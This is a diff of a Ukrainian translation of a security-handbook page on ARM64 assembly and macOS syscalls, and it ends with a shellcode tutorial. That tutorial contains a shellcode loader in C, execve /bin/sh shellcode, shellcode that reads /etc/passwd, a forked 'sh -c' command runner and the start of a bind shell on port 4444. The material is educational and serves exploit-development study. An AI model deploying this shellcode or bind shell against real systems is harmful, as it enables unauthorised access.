* **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише у випадку, якщо попереднє порівняння було істинним та спеціально встановить біти nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 та x3 < x4, перейти до func
|
||||
* Це тому, що **`ccmp`** буде виконано лише у випадку, якщо **попередній `cmp` був `NE`**, якщо цього не було, біти `nzcv` будуть встановлені на 0 (що не задовольнить порівняння `blt`).
|
||||
* Це також може бути використано як `ccmn` (таке саме, але від'ємне, як `cmp` проти `cmn`).
|
||||
* **`tst`**: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як та І без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.
|
||||
* **`tst`**: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як і ANDS без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.
|
||||
* Приклад: `tst X1, #7` Перевірити, чи будь-які останні 3 біти X1 рівні 1
|
||||
* **`teq`**: Операція XOR з відкиданням результату
|
||||
* **`b`**: Безумовний перехід
|
||||
* Приклад: `b myFunction`
|
||||
* Зауважте, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**.
|
||||
* Приклад: `bl myFunction` — Це викликає функцію `myFunction` та зберігає адресу повернення в `x30`.
|
||||
* Зауважте, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* **`blr`**: **Перехід** з посиланням на регістр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **регістрі**. Зберігає адресу повернення в `x30`. (Це
|
||||
* Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, та зберігає адресу повернення в `x30`.
|
||||
* **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**.
|
||||
* Приклад: `ret` — Це повертається з поточної підпрограми, використовуючи адресу повернення в `x30`.
|
||||
* **`b.<cond>`**: Умовні переходи
|
||||
* **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`.
|
||||
* Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить на `label`.
|
||||
* Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`.
|
||||
* **`b.ne`**: **Гілка, якщо не рівно**. Ця інструкція перевіряє умовні прапорці (які були встановлені попередньою інструкцією порівняння), і якщо порівнювані значення не рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1` не рівні, це переходить на `label`.
|
||||
* **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.
|
||||
* **`cbz`**: **Порівняти та гілка на нуль**. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: `cbz x0, label` — Якщо значення в `x0` дорівнює нулю, це переходить на `label`.
|
||||
* **`cbnz`**: **Порівняти та перейти на ненуль**. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.
|
||||
* **`cbnz`**: **Порівняти та гілка на ненульове значення**. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: `cbnz x0, label` — Якщо значення в `x0` не дорівнює нулю, це переходить на `label`.
|
||||
* **`tbnz`**: Тест біту та перехід на ненуль
|
||||
* **`tbnz`**: Тест біту та гілка на ненульове значення
|
||||
* Приклад: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Тест біту та перехід на нуль
|
||||
* **`tbz`**: Тест біту та гілка на нуль
|
||||
* Приклад: `tbz x0, #8, label`
|
||||
* **Умовні операції вибору**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істина, X0 = X1, якщо хиба, X0 = X2
|
||||
|
@ -237,15 +220,15 @@
|
|||
* `csneg Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Якщо істина, Xd = - Xn, якщо хиба, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Якщо істина, Xd = 1, якщо хиба, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Якщо істина, Xd = <всі 1>, якщо хиба, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Якщо істина, Xd = \<всі 1>, якщо хиба, Xd = 0
|
||||
* **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в регістрі.
|
||||
* Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки `symbol` та зберігає її в `x0`.
|
||||
* **`ldrsw`**: **Завантажити** знакове **32-бітне** значення з пам'яті та **розширити його до 64** бітів.
|
||||
* Приклад: `ldrsw x0, [x1]` — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує `x1`, розширює його до 64 бітів та зберігає його в `x0`.
|
||||
* Приклад: `ldrsw x0, [x1]` — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує `x1`, розширює його до 64 бітів та зберігає в `x0`.
|
||||
* **`stur`**: **Зберегти значення регістра в місце пам'яті**, використовуючи зсув від іншого регістра.
|
||||
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в місце пам'яті, яке на 4 байти більше від адреси, що знаходиться в даний момент в `x1`.
|
||||
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в місце пам'яті, яке знаходиться на 4 байти більше від адреси, що знаходиться в даний момент в `x1`.
|
||||
* **`svc`** : Здійснити **системний виклик**. Він означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **переходить з режиму користувача в режим ядра** та переходить до конкретного місця в пам'яті, де знаходиться код обробки **системного виклику ядра**.
|
||||
* Приклад:
|
||||
* Приклад:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в регістр x8.
|
||||
|
@ -255,7 +238,7 @@ svc 0 ; Здійснити системний виклик.
|
|||
|
||||
### **Пролог функції**
|
||||
|
||||
1. **Зберегти регістр ланцюга та вказівника на фрейм в стек**:
|
||||
1. **Зберегти регістр зв'язку та вказівника на фрейм в стек**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -277,19 +260,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Повернення**: `ret` (повертає управління викликачу, використовуючи адресу в регістрі посилань)
|
||||
3. **Повернення**: `ret` (повертає управління викликачу, використовуючи адресу у регістрі посилань)
|
||||
|
||||
## Стан виконання AARCH32
|
||||
|
||||
Armv8-A підтримує виконання програм 32-біт. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними за допомогою **`взаємодії`**.\
|
||||
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи перехід рівня винятку до менш привілейованого 32-бітного.\
|
||||
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення **біту 4** спеціального регістра **`SPSR_ELx`** на **1**, коли потік обробки `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає програми **`AArch32`** CPSR. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, увійшовши в A32 або T32 в залежності від CPSR\*\*.\*\*
|
||||
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення **біту 4** спеціального регістра **`SPSR_ELx`** на **1** тоді, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає програми **`AArch32`** CPSR. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, увійшовши в A32 або T32 в залежності від CPSR\*\*.\*\*
|
||||
|
||||
**`Взаємодія`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біту на 1**, щоб показати, що набір інструкцій - T32.\
|
||||
Це встановлюється під час **інструкцій гілки взаємодії**, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
|
||||
|
||||
Інший приклад:
|
||||
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -300,7 +282,6 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
|
||||
### Реєстри
|
||||
|
||||
Є 16 регістрів по 32 біти (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, проте деякі з них зазвичай зарезервовані:
|
||||
|
@ -316,9 +297,9 @@ mov r0, #8
|
|||
|
||||
### CPSR - Регістр поточного стану програми
|
||||
|
||||
У AArch32 CPSR працює аналогічно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** під час винятку для подальшого відновлення виконання:
|
||||
У AArch32 CPSR працює аналогічно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** при винятку для подальшого відновлення виконання:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Поля поділені на деякі групи:
|
||||
|
||||
|
@ -329,23 +310,36 @@ mov r0, #8
|
|||
|
||||
* Прапорці **`N`**, **`Z`**, **`C`**, **`V`** (так само, як у AArch64)
|
||||
* Прапорець **`Q`**: Встановлюється в 1, коли відбувається **насичення цілих чисел** під час виконання спеціалізованої насиченої арифметичної інструкції. Як тільки він встановлений в **`1`**, він буде зберігати значення до тих пір, поки його не буде вручну встановлено на 0. Крім того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно зробити, читаючи його вручну.
|
||||
* **`GE`** (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
||||
* **`GE`** (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
||||
|
||||
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно і зберігає результати в 32-бітному регістрі. Потім **встановлює прапорці `GE` в `APSR`** на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.
|
||||
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно і зберігає результати в регістрі 32 біти. Потім **встановлює прапорці `GE` в `APSR`** на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.
|
||||
|
||||
Інструкція **`SEL`** використовує ці прапорці GE для виконання умовних дій.
|
||||
|
||||
#### Регістри стану виконання
|
||||
|
||||
* Біти **`J`** та **`T`**: **`J`** повинен бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1 - T32.
|
||||
* Регістр стану блоку IT (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**.
|
||||
* Біти **`J`** та **`T`**: **`J`** повинен бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1 - використовується T32.
|
||||
* Регістр стану блоку IT (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом `IT`.
|
||||
* Біт **`E`**: Вказує на **порядок байтів**.
|
||||
* Біти режиму та маски винятків (0-4): Вони визначають поточний стан виконання. П'ятий вказує, що програма працює як 32-бітна (1) або 64-бітна (0). Інші 4 представляють **режим винятка, який в даний момент використовується** (коли виникає виняток і його обробляють). Число встановлює **поточний пріоритет**, у разі виникнення іншого винятка під час обробки цього.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`AIF`**: Деякі винятки можна вимкнути, використовуючи біти **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD системні виклики
|
||||
|
||||
Перевірте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD системні виклики матимуть **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Перевірте в [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` та в [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) прототипи. Максимальна кількість Mach traps - `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** це **`-10`**.
|
||||
|
||||
Ви також можете перевірити **`libsystem_kernel.dylib`** у дизасемблері, щоб дізнатися, як викликати ці (і BSD) системні виклики:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -353,6 +347,7 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
|||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **вихідний код**, оскільки код декількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в вихідному коді), тоді як у dylib ви можете знайти, що викликається.
|
||||
|
@ -360,11 +355,11 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
|
||||
### виклики machdep
|
||||
|
||||
XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані номери не гарантовано залишатимуться постійними.
|
||||
XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані їх номери не гарантовано залишатимуться постійними.
|
||||
|
||||
### сторінка comm
|
||||
|
||||
Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного користувацького процесу. Це призначено для прискорення переходу з режиму користувача в простір ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
||||
Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного процесу користувача. Це призначено для прискорення переходу з режиму користувача до простору ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
||||
|
||||
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки comm.
|
||||
|
||||
|
@ -378,9 +373,9 @@ XNU підтримує ще один тип викликів, які назив
|
|||
* x1: op -> Селектор методу
|
||||
* x2... -> Решта аргументів викликаного методу
|
||||
|
||||
Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb за допомогою (у цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
||||
|
||||
```
|
||||
Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb (у цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
||||
|
@ -396,11 +391,33 @@ XNU підтримує ще один тип викликів, які назив
|
|||
whoami
|
||||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Встановлення змінної середовища **`NSObjCMessageLoggingEnabled=1`** дозволяє реєструвати, коли ця функція викликається в файлі, наприклад, `/tmp/msgSends-pid`.
|
||||
|
||||
### Шеллкоди
|
||||
Крім того, встановлення **`OBJC_HELP=1`** і виклик будь-якого виконуваного файлу дозволяє переглянути інші змінні середовища, які можна використовувати для **реєстрації** випадків виконання певних дій Objc-C.
|
||||
{% endhint %}
|
||||
|
||||
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляру, для цього виконуються різні пошуки:
|
||||
|
||||
* Виконати оптимістичний пошук в кеші:
|
||||
* Якщо успішно, завершено
|
||||
* Отримати runtimeLock (читання)
|
||||
* Якщо (реалізувати && !cls->realized) реалізувати клас
|
||||
* Якщо (ініціалізувати && !cls->initialized) ініціалізувати клас
|
||||
* Спробувати власний кеш класу:
|
||||
* Якщо успішно, завершено
|
||||
* Спробувати список методів класу:
|
||||
* Якщо знайдено, заповнити кеш і завершено
|
||||
* Спробувати кеш батьківського класу:
|
||||
* Якщо успішно, завершено
|
||||
* Спробувати список методів батьківського класу:
|
||||
* Якщо знайдено, заповнити кеш і завершено
|
||||
* Якщо (розв'язувач) спробувати розв'язувач методу і повторити з пошуку класу
|
||||
* Якщо все ще тут (= все інше не вдалося), спробувати пересилальник
|
||||
|
||||
### Коди оболонки
|
||||
|
||||
Для компіляції:
|
||||
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -408,55 +425,76 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
|
||||
Для видобуття байтів:
|
||||
|
||||
Для видобутку байтів:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
|
||||
Для новіших версій macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
|
||||
done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>С код для тестування shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||
int (*sc)();
|
||||
|
||||
int (\*sc)();
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
|
||||
char shellcode\[] = "";
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
|
||||
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
|
||||
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
|
||||
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
|
||||
printf("\[>] Trying to execute shellcode...\n");
|
||||
sc = ptr;
|
||||
sc();
|
||||
|
||||
sc = ptr; sc();
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Оболонка
|
||||
|
||||
Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.
|
||||
|
||||
<div data-gb-custom-block data-tag="tabs"></div>
|
||||
|
||||
<div data-gb-custom-block data-tag="tab" data-title='з adr'>
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="з adr" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -470,30 +508,59 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
````
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="зі стеком" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
|
||||
; Prepare arguments for the execve syscall.
|
||||
|
||||
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x1, #8 ; Set x1 to 8.
|
||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
|
||||
; Make the syscall.
|
||||
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
````
|
||||
#### Читати за допомогою cat
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
|
||||
{% tab title="з adr для Linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
adr x0, sh_path ; This is the address of "/bin/sh".
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### Читання за допомогою cat
|
||||
|
||||
Метою є виконання `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (що в пам'яті означає стек адрес).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -518,10 +585,8 @@ svc 0 ; Make the syscall
|
|||
cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
````
|
||||
|
||||
**Виклик команди з sh з відгалуження, щоб головний процес не був завершений**
|
||||
|
||||
```
|
||||
#### Виклик команди за допомогою sh з відгалуження, щоб основний процес не був завершений
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -565,11 +630,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
|
||||
**Прив'язка оболонки**
|
||||
#### Прив'язка оболонки
|
||||
|
||||
Прив'язка оболонки з [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) на **порт 4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -651,11 +714,9 @@ mov x2, xzr
|
